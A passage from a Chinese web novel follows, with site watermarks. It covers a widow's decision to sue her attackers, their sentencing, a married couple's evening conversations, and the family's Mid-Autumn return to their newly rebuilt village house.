倒像是她能说出来的话。 “有什么情况,我会与你说的,且有人证,有物证,就看那母子被判刑的轻重而已。” 到了家门口,都还没进去呢,陆鸢就听见了灿哥儿的哭声,急得她径自下了马车,等门一开就跑回了屋。 老太太抱着灿哥儿,见她回来了,才问:“找着满娘了吗?” 陆鸢道:“找着了,没什么事,过几日就去上工。” 老太太道:“灿哥儿估计是饿了,所以才哭的。” 陆鸢道:“我来吧。”她把灿哥儿抱到自己怀里了。 老太太也没多过问满娘的事,只道:“满娘那两个孩子都还小,要不然接过来住几日吧。” 陆鸢从夜市回来的时候,就和老太太大概说了一下,满娘家里遭了贼,可能受了伤,所以才不敢让孩子见到。 陆鸢道:“我让七娘去住几日。” 老太太点了点头:“还是有个大人看着点稳妥。” 陆鸢第二日拿着药去看满娘的时候,小栈掌柜忙喊了她,道:“早间隔壁的官爷去买了早饭,说是等娘子你来看住那个屋子的娘子时,把早饭也带进去。” 陆鸢笑了笑,上前把还有温热气息的包子豆乳接了过来,敲了房门一会后,满娘来开了房门。 吃着早饭的时候,陆鸢瞧着满娘的情绪稳定了许多,才问:“满娘,你可要状告刘福?” 满娘吃包子的动作一顿,就在陆鸢以为她要考虑许久的时候,满娘抬起了眼,斩钉截铁道:“我要告,我没错,我为什么要怕他们呢?为什么因为我是寡妇,就要被人冤枉?!” 说着说着,满娘的眼眶就红了。 可想而知,守寡的这几年,满娘受了多少的委屈。 满娘声音哽咽道:“我昨天真的很怕很怕,不知道该怎么办,只能偷偷在这里哭,可是看到东家你找了过来,听到东家说的话,刘福被抓了,我心里就真的安定了下来,没那么怕了。” 越说到后头,满娘的声音就越坚定。 陆鸢听到她的话,在心底也暗暗地松了一口气。 准备好的劝说说辞,也不用说出来了。 毕竟,这要是不状告的话,这人越活越小心翼翼,以后也总会胆颤心惊的,日子更是过得如履薄冰。 而且恶人也会得寸进尺。 吃了早饭后,陆鸢给满娘上了药,而后道:“早饭是嵇捕头留在柜台的。” 满娘微微一愣。 陆鸢道:“昨日听说了你的事,嵇捕头也是第一时间去了巷子调查,随后直接提走了犯人,嵇捕头对此事很是上心,所以你也不用担心没人站在你这边。” 陆鸢点到即止,没说太多。 好一会后,满娘越发坚定,与陆鸢道:“东家,能与我去一趟公署吗?” 陆鸢心下欣慰,轻一点头:“自然可以。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 【完结】 第130章 满娘的事, 因着有着嵇捕头调查,杨知县又是个眼明心清的好官,有人报官,便把刘家母子提到公堂上审问。 二人在人证物证面前, 百口莫辩, 是以, 杨知县很快便审明了案子的前因后果。 母亲协助儿子下药,杖二十, 徒刑两年。 儿子强占良家妇虽未遂,但殴打百姓, 强闯民宅, 杖三十,徒刑十年。 母子俩为共谋行凶, 成了百姓茶饭后的闲谈, 都好奇那寡妇是什么人。 且林子大了, 什么样的人都有, 甚至有人说, 说不定是那寡妇自导自演的。 这受害的人,却被人胡乱揣测。 现代都有因为舆论暴力而导致抑郁自杀的人, 更别说在这个原本就思想桎梏深的朝代,就更严重了。 陆鸢也担心满娘, 所以一直留意着她。 满娘自回来上工后, 眼神就特别躲闪,有人多瞧她几眼, 她都会显得慌张,不自在。 她去开解过了,但效果甚微, 还是得用时间来慢慢消磨去影响。 夜里,陆鸢涂抹着面脂,祁晟从外端了一杯牛乳回来,放到了她桌面上,随后拿起蒲扇扇风,好一会后,才与她道:“今日嵇捕头来寻了我。” 陆鸢抹完了面脂,端起牛乳转回头看他:“然后呢?” 说罢,小口小口地喝起了牛乳。 祁晟:“他想借你的嘴,帮忙试探一下满娘的口风,若是她愿意,他便请媒人上门提亲。” 陆鸢被他的话惊讶到,也被牛乳呛到了,连连咳了几声。 祁晟上前轻拍了拍她的后背:“慢些喝。” 陆鸢缓过来后,笑道:“怎的,嵇捕头这块木头是开窍了?” 两人有些小暧昧都得有大半年了,现在才有点进展,真的很不容易。 陆鸢道:“满娘现在这样,我来出面,九成是拒绝的。若他是真心求娶的话,不如他自己表明心意,诚恳,且坚定,这样才更容易成事。” 祁晟疑惑:“难道不是找个人试探的要更好一些?” 陆鸢反问:“要是试探了,满娘因为最近的事而拒了,之后呢?” 祁晟倒是被问住了。 陆鸢继续道:“满娘如何拒绝的,神色表情如何,我觉着嵇捕头亲眼所闻,所见,更为直观。” 祁晟好奇地问:“你就这么确定满娘会拒绝。” 陆鸢耸了耸肩。 这是纸上的经验之谈。 “女人的直觉,你还是让嵇捕头自己表明心意吧,至少会被拒一遍的,就来看他是坚持,还是就此作罢了。” 祁晟还是按照妻子说法来做。 日子不紧不慢地过去,陆鸢也让铺子里的其他人多关注满娘的情绪。 这一个月过去了,城里对于母子共谋害人的谈论热情也已经淡了下来,没什么人谈论了。 关于嵇捕头有没有向满娘表明心意的事,陆鸢也没听到什么消息。 问祁晟,他也表示不太清楚,嵇捕头也算半个面瘫了,他若是不说,旁人也猜不到他的想法。 陆鸢轻轻拍着灿哥儿,小声道:“还真奇怪了,之前还说着让我去探口风,可现在,嵇捕头愣是一点口风都没露出来,且满娘这段时间都是心不在焉的,也没法分辨她情绪变化,更不能直接去试探。” 祁晟给她和孩子扇着风,低声道:“你不是说不要掺和那么多的吗?” 陆鸢:“这与好奇进展并不冲突。” “说到进展,啥时候回围山村看看,这都过去一个半月了,也不知道宅子建成啥样了。” 祁晟:“再过三日,休沐的时候回去瞧瞧。” 祁晟上值都已经不讲究单日双日了,和其他人一样,都是十日休沐一日。 “要是还差很多,催催进度,或是多寻几个人来,中秋弄好了,老太太也能高兴高兴,正好中秋之后就是登高节,回去祭祖也能有个住的地方。” 去年的重阳,回去一趟,又匆匆地回了城里,老太太都没能和村里人好好说说话。 祁晟道:“上回回去的时候,都已经垒了半墙,现在又过去了七日,能赶得上。” 陆鸢道:“还是回去多看两回,稳妥一些。” 祁晟点头:“行,我回去盯着,夜深了,快睡吧,半夜还得起一回呢。” 灿哥儿虽乖,但半夜子时雷打不动的肚子饿,早间卯时也准时醒来要吃奶。 陆鸢道:“都说上一个孩子乖,下一个肯定闹,我告诉你,我就只生灿哥儿这么一个,不会再生了。” 祁晟听了她的话,笑着把她拥入了怀中,在她额头上轻啄了一下,声音低而沉:“你想生,我都舍不得,以后不生了,咱们有三个孩子,足够了。” 天知道她生孩子,他也跟着心惊胆颤了一宿。 怕她有三长两短。 怕再醒来就已经不是她了。 这种经历,一次就够了,他并不想再有第二遍。 这话,听得陆鸢身心都暖洋洋的。 两三息后,陆鸢推他:“热死了,别抱。” 祁晟没松手,只是把扇风的力道添大。 “再抱一会,自你怀了灿哥儿以来,我们都有近一年没有亲……” “近”字都还没说出口,怀里的妻子立马就把自己推开了,甚至是一脸防备的看着自己。 祁晟:“……” 这才成婚多久,她就厌烦他了? 陆鸢道:“我现在可不行,还得养养呢。” 确实不宜这么快就行房事,但还有另一个问题。 生了孩子后,她现在看到他炙热的眼神,她都怕得慌,怕再中招。 祁晟看着她,无奈道:“行,再养养,再养两个月。” 陆鸢闻言,在心底暗暗松了一口气。 祁晟继而道:“这段时日, 我也多去几家医馆问问,看有没有危害小的避子药,若实在没有,再问问有没有男子服用的。” 陆鸢闻言,立马道:“别别别,可千万别信什么副作用小的避子药。男子用的更不行了,避子效果是有了,以后不到三十就容易阳痿,那咋办?” 祁晟:“……” 几乎是瞬间,他被她说服了。 陆鸢道:“以后那什么肠衣常换就行,而且也别太频繁,纵欲伤身。” 说完,打了个哈欠,转身亲了一下灿哥儿,与身后的丈夫道:“我睡了。” 祁晟默然。 虽然没幼稚到与自己的儿子吃醋,但这区别对待的反差,想忽视都不行。 祁晟支起脑袋,看向母子二人,唇角微微勾起,眼里也倾泻出柔和的笑意。 离中秋还有几日,祁晟赶回去瞧了眼宅子的进度,觉得没问题后,陆鸢便开始采买要带回围山村的东西。 除了要用到的锅碗瓢盆外,还有一些寝具。再者就是吃食,糕点,瓜果,吃食大多是用来招待的客人的。 到时候肯定还是得摆上几桌新房暖居,所以要准备的东西肯定多。 想给老太太一个惊喜,陆鸢都放在了夜市街,然后再托鲁大赶牛车送回去。 苏记小食家的掌柜娘子,她的郎君是在公门众人,这事,在常混迹夜市的人中也是传开了的,所以苏记小摊和铺子,都没人敢惹事,生意做得顺当。 是以,陆鸢不用担心鲁大会昧下什么,给他胆子都不敢。 在中秋日,一大早,陆鸢就让春花秋花收拾自己想带回围山村的东西。 老太太闻言,道:“什么时候说过要回围山村的?” 陆鸢佯装打了一下自己的脑门,道:“瞧我都给忙忘了,早前和郎君提过,说中秋回一趟围山村,让老太太你高兴高兴。” 老太太白了她一眼,没好气揶揄道:“一会儿就回去了,你现在才和我说,我可太高兴了。” 陆鸢谄媚道:“哎呀,这不是忘了嘛,回去也不用带什么东西,就收拾一身换洗的衣裳就成,到时候就住到镇上的客栈。” 她还偷偷地拿了老太太的衣裳,让别人也帮忙做了一身新衣裳。三身衣裳,便是住上四五日,也够换洗的了。 老太太道:“这回去还不得买些东西回去送给里正,你也不想着买点送给黄兰?” 陆鸢道:“郎君早间上值的时候,我让他下值回去的时候,顺道去陈娘子家的糕点铺子拿几盒糕。” 老太太皱眉道:“他下值都什么时辰了,这夜里山路难行,还多是猛兽出没,怎的还赶着回去?” 陆鸢:“他会提前一个时辰下值,回到村子里,太阳估计都没到下山的时辰呢。” 听了这话,老太太才放下心来:“我说呢,早上去上值的时候,他怎的把马车也给拴上了。” 吃了朝食后,陆鸢给孩子俩检查过背包,再顺道给她们塞了换洗的衣服。 没多一会,定好的马车也到了家门外。 车上有六十的老人,还有才三个月大的小孩,马车也不能快,晃晃悠悠地,一个半时辰才回到围山村。 陆鸢给车夫指了路,一路到了院门外头。 陆鸢把孩子先给了老太太,先行下了马车。 她从外头看了眼新建的宅子,石头垒的墙,几乎遮住了里边的屋子,只能看得见黑瓦白墙。 陆鸢有些惊诧,竟还够时间把房子刷上了白灰。 陆鸢下了马车,把两个孩子逐一抱下,然后才抱灿哥儿,车夫则帮忙搀扶老太太下马车。 下了马车后,两个孩子和老太太看到新宅子的时候,都是一样的愣神。 老太太左右看了一下周围,嘀咕道:“这地也没错呀,后山坡是那个位置,香蕉树也还在,但这宅子……” 陆鸢笑盈盈的问:“惊不惊喜?” 老太太似乎想到了什么,转头看向她,没忍住笑了。 “你们到底什么时候瞒着我重建的宅子?” 陆鸢笑道:“两个月前。” 老太太又惊喜,又不禁好笑道:“你们还真能瞒,回来前都还瞒着我。” 陆鸢:“别说这个了,咱们赶紧回去瞧瞧新房吧。” 陆鸢让老太太抱着灿哥儿,随即掏出钥匙开了院门。 可能是因为赶工,院子也没怎么修整,光秃秃的一片。 不过他们常年在城里,也不适合种花花草草。 房子是典型三合院,正房是堂屋和两间屋子,正屋左边还有一间屋子,右面则是厨房,旁边是澡间,再过去就是茅房了。 黑瓦白墙,很是干净明亮。 陆鸢望着眼前的家,心里只觉得松快。 虽然暂时还没在城里真的安居乐业,但好歹终于有了一个真的属于自己的家,自己的窝。 村子里有了家,再等等,城里也会有一座属于他们自己的宅子的。 陆鸢和老太太,孩子们都兴高采烈地瞧了一圈,家具齐整,床都摆放好了。 陆鸢简单地把床给铺了,正给孩子换着尿布呢,就听见黄兰的声音:“盼星星盼月亮,可算是把你们给盼回来了。” 陆鸢给灿哥儿换好尿布,把孩子抱着出堂屋。 黄兰把钥匙递给她,说:“人回来了,钥匙就还给你了。” 陆鸢道:“就放一把在嫂子你那里得了,省得下回家里有点什么事,我们不在,你也能帮衬一下。” 黄兰:“哟,这么信得过我,就不信我把你们家的好房子占了,自己住了?” 陆鸢笑着拌嘴道:“那我可是要收租的。” 边说说笑笑后,黄兰与自家闺女边帮忙把床铺给铺好了。 陆鸢正好哄孩子睡觉,他们也就先回去了。 陆鸢见孩子睡了,才去做饭。 家里虽没新鲜的肉菜,柴米油盐,鸡蛋腊肉腊肠是备有的,另外还有黄兰提过来的青菜。 简单做了一顿中食,吃过之后,陆鸢都困了,但老太太和春花秋花倒是精神得很。 老太太让孙媳在家歇个晌,她便带着两个孙女出去串门。 不得不说,回来后,老太太的精神头都好似好了很多。 见她们都出去了,陆鸢便回屋和灿哥儿一块睡懒觉了。 也不知睡到了什么时候,迷迷瞪瞪时,摸到身边空了,吓得她一激灵,立马清醒了。 床边却是没了灿哥儿的银子,日头余晖从窗格子映入,洒落在地,瞧着时辰也不早了。 陆鸢趿着鞋子跑出去,开了门,陆鸢就看到院子里,祁晟正抱着灿哥儿逗弄。 老太太在厨房外头择菜。 春花秋花则一左一右地坐在老太太的身旁吃着饴糖。 陆鸢就倚在门口瞧着,嘴角不自觉地往上扬。 祁晟抬头看来,看到妻子,拉起灿哥儿的手,朝她招手:“你娘也醒了,快与娘打个招呼。” 两个孩子也跑了过来,春花说:“娘,爹给我们,还有村子里其他的孩子都买了饴糖呢,他们都说我们爹好,也想我们的爹给他们当爹呢。” 秋花一听,直接就跑去拽住了祁晟的衣服,板着脸,凶巴巴地说:“爹是我和姐姐,弟弟的。” 秋花的反应,让几个大人都忍不住捧腹笑。 陆鸢把她拽过来,重重地亲了一口,哄道:“好好好,你爹就是你的,也是你姐姐和你弟弟的。” 祁晟把儿子给妻子抱,他则一下子就把春花和秋花抱了起来。 能一下子抱起两个孩子,春花秋花就觉得她们爹特别地厉害,特别地崇拜,每逢出去,都会吹嘘自己的爹有多厉害多厉害,只差是没说他们的爹会飞了。 夜里,供了月亮后,便歇了。 半夜起来喂了灿哥儿后,陆鸢也就睡不着了,提着灯便出了屋子,坐在院子里望着天上的圆月。 围墙垒得高,还是石头垒的,便是靠近山脚,也不担心有什么野兽会闯入。 没坐一会,祁晟也从屋子走了出来,轻掩房门,在她身旁坐下,也抬起头望向天上的月亮。 “想家人了?”他低声问。 陆鸢轻点了点头,如实的应:“想呀,怎么可能不想。” 祁晟伸臂把她揽到了臂弯中。 陆鸢反手拍了拍他的后背,道:“不过你也别担心我会因此自怨自怜。我现在也有了家,也有了家人,所以也就偶尔伤心难过一会,但我还是会好好过日子的。” 陆鸢伤春悲秋就一小会,就缓过来了,问他道:“我带了些果酒回来,要不要喝一点?” 祁晟道:“可不是说喂孩子,不能碰酒吗?” 陆鸢顿时反应过来自己还有个嗷嗷待哺的娃,双肩顿时一夸:“也是哦。” 祁晟道:“酒不能喝,但也能喝些饮子,我去弄两杯。” 陆鸢顿时兴奋道:“那我去搬小桌子,再弄些零嘴。” 说着就兴冲冲地去找桌子,找零嘴。 祁晟望着她忙碌的背影,嘴角笑意甚是宠溺。 一阵清爽晚风吹来,陆鸢闲适地靠着祁晟,望着月亮和漫天星。 “咱们的日子虽然没有大富大贵,但平平淡淡的日子,反倒让我安心。” 祁晟把她被风吹乱的碎发撩到了耳后,而后握住了她的手,十指紧扣,声音温润清朗:“那你愿意和我平平淡淡地走完这一生吗?” 陆鸢笑道:“怎么,你还想甩开我,找更年轻漂亮的?” 祁晟她另一只手轻捏了一下她的耳垂:“胡说八道什么。” 陆鸢:“好了好了,你和我可都有孩子的人了,还这么肉麻做什么,我不和你过日子,我还能和谁过。” 说着话,她也回扣住了他的手。 祁晟这才心满意足地勾起了嘴角。 在皎洁月亮清辉下,夫妻俩喝着饮子,聊着心里话,二人的影子映在地上,延长至重叠,相依相偎。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m